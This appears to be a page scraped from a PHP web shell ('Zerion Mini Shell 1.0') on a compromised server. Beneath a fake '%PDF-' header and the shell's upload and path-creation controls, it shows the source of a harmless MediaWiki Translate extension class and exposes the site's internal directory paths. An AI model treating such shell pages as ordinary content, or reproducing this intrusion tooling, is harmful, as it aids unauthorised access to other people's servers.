%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/www/varak.net/wiki.varak.net/extensions/Translate/utils/
Upload File :
Create Path :
Current File : //proc/985914/root/www/varak.net/wiki.varak.net/extensions/Translate/utils/MessageGroupStates.php

<?php
/**
 * Wrapper class for using message group states.
 *
 * @file
 * @author Niklas Laxström
 * @author Siebrand Mazeland
 * @copyright Copyright © 2012-2013 Niklas Laxström
 * @license GPL-2.0-or-later
 */

/**
 * Class for making the use of message group state easier.
 * @since 2012-10-05
 */
class MessageGroupStates {
	const CONDKEY = 'state conditions';

	protected $config;

	public function __construct( array $config = null ) {
		$this->config = $config;
	}

	public function getStates() {
		$conf = $this->config;
		unset( $conf[self::CONDKEY] );

		return $conf;
	}

	public function getConditions() {
		$conf = $this->config;
		if ( isset( $conf[self::CONDKEY] ) ) {
			return $conf[self::CONDKEY];
		} else {
			return [];
		}
	}
}

Zerion Mini Shell 1.0